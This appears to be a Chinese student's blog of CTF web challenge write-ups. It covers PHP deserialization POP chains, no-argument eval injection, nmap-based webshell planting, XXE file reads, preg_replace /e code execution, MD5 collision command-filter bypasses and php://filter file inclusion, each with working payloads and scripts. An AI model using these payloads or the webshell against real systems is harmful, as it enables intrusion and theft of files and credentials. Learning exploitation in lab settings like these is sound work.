why

疯疯癫癫的小辣鸡

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}


魔术函数介绍:

魔法函数:
__invoke():
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

__construct():
创建类对象时自动调用 当使用 new 操作符创建一个类的实例时,构造方法将会自动调用

__toString():
__toString()会在需要转成字符串时, 会隐式自动调用它, 在PHP内部. 这个也是来自JAVA的
当一个对象被当作一个字符串被调用。

__wakeup():
使用unserialize时触发

__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性

分析:

1)通过get传递序列化Show对象参数$pop,此时会对$pop变量进行反序列化从而调用__wakeup()函数

2)可以看到类Show的函数__construct对变量$this->source进行echo输出,如果这里的变量$this->source为Show对象的话,那么就会调用函数_toString()

3)__toString函数返回了一个变量$this->str->soucre,此时类Test中存在__get函数,我们可以将$this->str赋值为一个Test对象,而Test类中并没有source这个变量,因此将会调用__get函数

4)类Modifier中存在__invoke函数,可以第三步中类Test的__get函数将this->p传递给$function并且return $function(),只要将$this->p赋值为一个Modifier对象,那么就会返回一个Modifier类对象的函数,将会调用Modifier类中的__invoke函数

5)__invoke函数调用了append函数,只要将变量$var的内容设为我们需要包含的文件伪协议读取命令就可以了

写脚本:

<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}

$a = new Show();
$b= new Show();
$a->source=$b;
$b->str=new Test();
($b->str)->p=new Modifier();
echo urlencode(serialize($a));
?>

得到:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3Bs%3A0%3A%22%22%3B%7D

得到flag的base64编码,解码得到flag

image-20240510214924514

emm

扫描

git泄露

githack直接拿到源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

就是说禁止了伪协议和很多杂七杂八的东西对吧

但是是要使用伪协议类似的东西看flag的话

我只知道有可能是无参数注入

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

无参数注入

`scandir('.')`这个函数的作用是扫描当前目录
`localeconv()`函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是`.`
`pos()/current()`函数返回数组第一个值
`array_reverse()`是将数组颠倒
`next()`将数组指针一项下一位
`show_source()`的意思是读取函数内容

三种读取方法

方法一

使用使上述文件数组反转后取next位即flag.php。然后读取文件
构造exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

方法二

同上述方法,但方法一有局限性,只能得到数组的第二位或者倒数第二位。其他情况可以使用随机返回键名的方法(刷新几次就可以得到)
exp=show_source(array_rand(array_flip(scandir(pos(localeconv())))));

方法三

session_start(): 告诉PHP使用session;
session_id(): 获取到当前的session_id值;
手动设置cookie中PHPSESSID=flag.php;
所以可以构造exp=show_source(session_id(session_start()));

image-20240510190058849

这里可以看到会创建一个文件以你输入进去的文件命名

三个点,一个是最后一行是什么意思

第二个是escapeshellarg和escapeshellcmd是什么意思

第三个,payload长啥样

1、

nmap -T5 -sT -Pn --host-timeout 2 -F host

-T<0-5> : 速度/时间模板参数,指定了扫描的速度。

-sT : 使用TCP进行扫描。

-Pn : 将所有主机视为在在线,跳过主机发现。

--host-timeout : 设置超时时间。设置为2秒,即如果目标主机在2秒内没有响应,Nmap将放弃该主机的扫描。

-F : 进行快速扫描,用于快速识别目标主机上开放的常见端口,而不扫描所有的端口。

2、

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,
这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)

escapeshellcmd — shell 元字符转义
功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。
此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

也就是说前后互相抵消了

3、

这里采用的是,将一句话木马写入文件中在通过蚁剑读取文件

?host=' <?php eval($_POST["hack"]);?> -oG hack.php

将前面的一句话木马写入hack.php中

会发现

image-20240510192216503

你处于这个文件夹之下,所以在这个文件夹下开启hackbar.php

之后通过蚁剑连接网站

http://76fc35ad-270b-4945-96ce-a4c8c3809cd0.node5.buuoj.cn:81/71622f2db96673162a8eedefbeeae0ee/hack.php

从而找到flag

总结

这道题的最重要的一点在于escape两个函数的应用

之后要去好好看看各自的作用

arg:

简单地说,如果输入内容不包含单引号,则直接对输入的字符串添加一对单引号括起来;如果输入内容包含单引号,则先对该单引号进行转义,再对剩余部分字符串添加相应对数的单引号括起来。

看个例子就知道了:

<?php
var_dump(escapeshellarg($_GET[p]));
?>

先输入字符串mi1k7ea,看到escapeshellarg()会给该字符串整个加上单引号括起来,加起来总共9个字符:

'mi1k7ea'

输入mi1k’7ea,看到先转义了中间这个单引号,再分别在左右两边加上单引号括起来,加起来总共13个字符:

'mi1k'\''7ea'

cmd:

简单地说,第一,如果输入内容中上述出现的特殊字符会被反斜杠给转义掉;第二,如果单引号和双引号不是成对出现时,会被转义掉。

输入mi1k7ea,其中不包含以上特殊字符的字符串,是不会添加单引号括起来的,内容不变:

mi1k7ea

输入’mi1k’7ea’;字符串,由于前面两个单引号成对了因此没有对其进行转义,而最后的单引号没有成对因此被转义掉,除此之外分号作为特殊字符也被转义处理:

'mi1k'7ea\'

image-20240516210127863

下载源码之后解压

发现了三千多文件,要找到可以用的参数

脚本如下

import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:\phpstudy_pro\WWW\src"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()

for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()

最终找到了利用文件: xk0SzyKwfzw.php

找到了利用的参数:Efa5BVG

最后构造payload:

xk0SzyKwfzw.php?Efa5BVG=cat /flag

找到flag

image-20240509220351314

随便登录抓包之后看到这个

想着应该是改这个,但是怎么改?

image-20240509220333814

这里就要使用到xml

<?xml version="1.0" ?>
<!DOCTYPE llw [
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>1</password>
</user>

拿到flag

解读一下,就是在这里定义file为后面的字符串且会被当做变量执行

所以这里的$file等于flag

下面介绍一下xml注入:

XML是一种数据组织存储的数据结构方式,安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据,需要过滤掉一些可以改变XML标签也就是说改变XML结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致XML注入攻击。

XML注入前提条件

(1)用户能够控制数据的输入
(2)程序有拼凑的数据

XML基本格式与基本语法
基本格式:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title> <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->

简单介绍一下DTD实体

按实体使用方式分类,实体分为内部声明实体和引用外部实体
内部实体

<!ENTITY 实体名称 "实体的值">

内部实体示例代码:

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY writer "Dawn">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>

外部实体
外部实体,用来引入外部资源。有SYSTEMPUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。

<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

参数实体+外部实体示例代码:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
%file;
]>

%file(参数实体)是在DTD中被引用的,而&file;是在xml文档中被引用的。

image-20240509210053534

include后面有个next的注释,猜测使用data伪协议读取

php://filter/read=convert.base64-encode/resource=next.php

接下来就是绕过text了

需要控制参数text利用伪协议写入文件

1、使用php://input
?text=php://input
post:I have a dream
2、使用data://
?text=data:text/plain,I have a dream
?text=data:text/plain;base64,SSBoYXZlIGEgZHJlYW0=

随便采取某种方法吧

最后都会得到

一串字符串

base64解码之后会变成

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

看到complex那,那里有一个漏洞,文章最后会进行讲解

主要动作就是

preg_replace(‘.*’)/ei’,’strtolower(“\1”)’, {${此处填函数名}});

这个函数可以是

?\S*=${phpinfo()}
即查看phpinfo

也就是可以直接把{}内的东西当代码执行

在这里我们尝试一下这个

system('cat /flag');

发现不行

image-20240509213631533

被过滤了

尝试一下使用post传入数据

image-20240509213750785

拿到flag

还有一种方法

就是通过

\S*=${getFlag()}

调用getFlag函数

之后可以传cmd上去执行

payload:

?\S*=${getFlag()}&cmd=system('cat /flag');

rce漏洞

上面的命令执行,相当于 eval(‘strtolower(“\1”);’) 结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义。我们来看看 W3Cschool 中对其的描述:

反向引用

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

所以这里的 \1 实际上指定的是第一个子匹配项,我们拿 ripstech 官方给的 payload 进行分析,方便大家理解。官方 payload 为: /?.*={${phpinfo()}} ,即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}}

有时候.会被过滤

可以考虑换为

\S*=${phpinfo()}

image-20240508210358717

emm,我看到页面上有个get传的参数

image-20240508210751258

在看看源代码

image-20240508210827187

所以我把他传的数据去解码一下

image-20240508211030178

是真的好用

所以,这是传了一个文件上去啊,那我在源代码看

image-20240508211225367

应该就是源码了吧,那我试试查看index.php行不行嘞

说干就干

翻译555.png是先base64再base64在hex,那我这次反过来试试

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

所以,找到了源码

解码一下

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

所以就是get传一个cmd

post传a和b

a和b是md5强碰撞

cmd没什么限制(doge)

image-20240508213547847

所以尝试一下

现在还有一个函数sort没有被禁,也是可以读取文件的

所以我们要找一找flag在哪个文件里面

试试能不能l/s绕过吧

强碰撞如下

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

image-20240508221254586

c\at /flag拿到flag

image-20240507220210629

cheer不了一点,毕竟是学网安的

这里可以看到只有两个选项,所以我们想查看一下其他的东西

可以使用伪协议进行读取

(我觉得只要直接传入参数看不到东西的时候就用伪协议)

base64解码之后读取到源码

 <?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

这里保留了php代码部分,因为基本上不会是前端出问题

在这里能看出来,这是要传woofers或者meowers上去

换句话说就是你传上去的东西里面必须包含了其中一个字符串

所以我们可以采取文件包含

比如woofers/../flag

image-20240507221250137

发现了这个!

所以我么尝试使用伪协议读取(一般读不出来都用伪协议试试)

payload:

?category=php://filter/read=convert.base64-encode/resource=meowers/../flag

回显出一段字符串,base64解码

得到flag

image-20240507213032149

我只能说很抽象

因为看它一直闪啊闪,我猜测可能有问题,抓个包试试

image-20240507213344380

发现两个参数我们试试

date函数是咋用的来着?

date(Y-m-d h:i:s a)

好像是这个,所以大概率就是a(b)的形式

所以尝试打开index.php

image-20240507213638501

发现源码

<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

禁用了许多函数,这里看到了class,想到了序列化,如果func传一个unserialize后面再传序列化的命令应该可以绕过

尝试一下,先看看能不能成功,尝试一下ls

image-20240507215018774

诶嘿,全都看见喽

所以是可行的,所以之后可以用上我跟大佬学的

find+/+-name+flag*

查找所有带flag的

嘻嘻

image-20240507215224689

之后就一个个找过去吧,先从下面找,我觉得不会放那么里面吧

O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

嘻嘻

image-20240507215354779

OK了

0%